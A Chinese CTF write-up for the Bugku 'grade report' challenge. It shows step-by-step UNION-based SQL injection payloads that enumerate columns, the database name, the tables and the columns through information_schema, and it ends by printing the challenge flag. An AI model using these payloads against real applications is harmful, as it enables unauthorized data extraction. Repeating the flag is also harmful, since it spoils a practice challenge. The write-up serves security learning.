bugku ctf 成绩单 (类似sql注入)

原始界面 

 

bugku ctf 成绩单 (类似sql注入)

与以往的sql注入不同,直接在成绩查询栏中 注入

 

bugku ctf 成绩单 (类似sql注入)

 

随便输入数字

发现居然会出现显示位

之后猜测应该有3个以上的显示位,因为成绩就已经有了3个

?id=1' union select 1,2,3#

发现没有反应

那么就四个

?id=1' union select 1,2,3,4#

bugku ctf 成绩单 (类似sql注入)

 

 

发现了4个 ,那我们就用最后一个

 

先查数据库

?id=1' union select 1,2,3,database()#

bugku ctf 成绩单 (类似sql注入)

 

得到数据库为 skctf_flag

之后查表 

?id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

 

bugku ctf 成绩单 (类似sql注入)

应该是第一个表吧。

 

查第一个表

?id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name ='fl4g'#

bugku ctf 成绩单 (类似sql注入)

这个表名居然和 数据库名字重复了

没事

我们接着查字段内容

 

?id=1' union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#

bugku ctf 成绩单 (类似sql注入)

得到flag为

BUGKU{Sql_INJECT0N_4813drd8hz4}

 

bugku ctf 成绩单 (类似sql注入)

相关文章:

  • 2021-05-17
  • 2021-08-24
  • 2021-10-27
  • 2021-05-23
  • 2021-10-01
  • 2021-09-19
  • 2021-08-31
猜你喜欢
  • 2021-07-26
  • 2021-07-13
  • 2021-08-18
  • 2021-09-12
  • 2022-12-23
  • 2021-08-26
  • 2021-06-28
相关资源
相似解决方案